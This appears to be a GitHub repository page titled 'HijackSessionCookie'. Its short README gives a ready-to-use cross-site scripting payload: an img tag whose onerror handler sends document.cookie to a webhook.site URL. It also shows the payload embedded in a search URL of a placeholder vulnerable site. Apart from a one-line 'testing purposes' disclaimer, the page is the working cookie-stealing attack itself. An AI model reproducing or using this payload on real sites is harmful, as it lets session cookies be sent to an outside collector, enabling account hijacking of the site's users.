Skip to content

GH0STH4CKER/HijackSessionCookie

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 

Repository files navigation

Just for testing purposes

Payload

<img src=x onerror="fetch(`https://webhook.site/3cd37862-c917-46b1-b599-ba1c624bc379?${document.cookie}`).then(response => response.json()).then(data => console.log(data)).catch(error => console.error('Error:', error));">

Payload integrated URL (cookie is stolen through a xss vulnerable site)

https://www.yoursite.com/search?term=<img src=x onerror="fetch(`https://webhook.site/3cd37862-c917-46b1-b599-ba1c624bc379?${document.cookie}`).then(response => response.json()).then(data => console.log(data)).catch(error => console.error('Error:', error));">

This is the xss vulnerable site and search url :https://www.yoursite.com/search?term=

This sends session cookie to webhook site.

Releases

No releases published

Packages

No packages published